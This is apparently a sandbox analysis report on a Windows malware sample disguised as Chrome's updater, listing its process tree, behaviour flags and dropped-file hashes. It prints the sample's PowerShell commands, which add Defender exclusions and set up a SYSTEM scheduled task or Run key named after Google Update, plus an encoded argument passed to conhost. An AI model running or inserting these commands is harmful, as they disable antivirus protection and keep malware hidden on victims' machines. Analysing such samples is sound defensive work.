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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3200 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:3668
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1952 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3024 -
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:3660 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:4616 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1080 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
PID:2984 -
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:2108
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2744
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1.6MB
MD532ae72bb8793f32f3182b9bdb777cea1
SHA13f0284fd78e0a39f5bd8da5c6bed8a838933b119
SHA25692643230989de02c626ac7656de95d700d78aa98dd5b4de1d76078303be69b43
SHA512d746b96423dbfc310abfb209797ec3164a18b8a59fbcd3e89ef1bee6d598cdbace1e133633300068975cc3722ad3491f21e47d7661c50475d9a5a3393985434f
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Filesize
1.0MB
MD5699dec477b3caa7848e9cd4b5137e346
SHA1cc2b41c0e9d995bbbbc3eb171d33f20d1e817730
SHA25618b80bae6760fb56341050e312c8b9ab5d5eefd8099a0e75ff3453ef45b6b275
SHA512d2be890e4ced89e5e277c614dbb4479b481b4b303f6369763116e0b41ef341d76d5c79d351bd96a2d1ee97cce211a8aff352c81b4cbfc25ce46a6bf4624ec931
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD562623d22bd9e037191765d5083ce16a3
SHA14a07da6872672f715a4780513d95ed8ddeefd259
SHA25695d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
SHA5129a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992
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Filesize
1KB
MD50ba0b9c27982a907bf1ca557f9b3fece
SHA135244873108af3fd4b7c76cf2a327960ad271c20
SHA256fd1165c9e6e54d3d949d994967f7ee1ae8d267215e5bbc473ecba680486e87e9
SHA5125c6b5d18d9db95245b86a8a0b384328c46c5020cc91f4b5428c413f0c78e1144650733c24f8e3d19d40cb93a7cc679d77e349d62a12f965634475725088d8f06
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5